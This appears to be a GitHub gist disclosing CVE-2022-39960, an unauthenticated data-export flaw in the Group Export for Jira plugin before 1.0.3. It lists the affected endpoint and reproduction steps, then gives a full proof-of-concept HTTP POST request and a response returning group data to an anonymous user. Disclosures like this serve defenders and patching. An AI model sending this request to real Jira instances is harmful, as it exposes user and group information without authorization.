# CveCt0r / gist:ca8c6e46f536e9ae69fc6061f132463e

Secret

Last active 3 months ago





Unauthenticated Group Export for Jira < 1.0.3

gistfile1.txt

```
Vulnerability Type: Unauthenticated     Group Export
Vendor of Product: Atlassian Jira
Affected Product Code Base:  Group Export for Jira
Product Version: < 1.0.3
Description: The Group Export for Jira < 1.0.3 versions allow unauthenticated user to export the g
Attack Vectors: Attacker could make an HTTP request to the affected endpoint and get the list of J
Attack Type: Remote
Endpoint: /plugins/servlet/groupexportforjira/admin/json
Assigned CVE-ID: CVE-2022-39960


Steps To Reproduce
1. Issue a HTTP POST request to the following endpoint: https://<jira.example.com>/plugins/servlet
2. For the HTTP POST Data send the following: "groupexport_searchstring=&groupexport_download=true


#PoC
[REQUEST]
POST /plugins/servlet/groupexportforjira/admin/json HTTP/1.1
Host: jira.example.local
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrom
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

groupexport_searchstring=&groupexport_download=true


```

```
[RESPONSE]
HTTP/1.1 200
X-AREQUESTID: 996x459x1
Referrer-Policy: strict-origin-when-cross-origin
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: sandbox
Strict-Transport-Security: max-age=31536000
Set-Cookie: atlassian.xsrf.token=B2KZ-BVLZ-WLZO-E635_0caad26e8df61a1995bb595e1e00d6f869571707_lout
X-AUSERNAME: anonymous
Content-Disposition: attachment; filename="jira-group-export-41178cce-e033-4f0a-bfad-c909e2435c5d.
Vary: User-Agent
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 815

{"jiraGroupObjects":[{"groupName":"jira-administrators","jiraGroupApplicationRoleObjects":[{"name"
```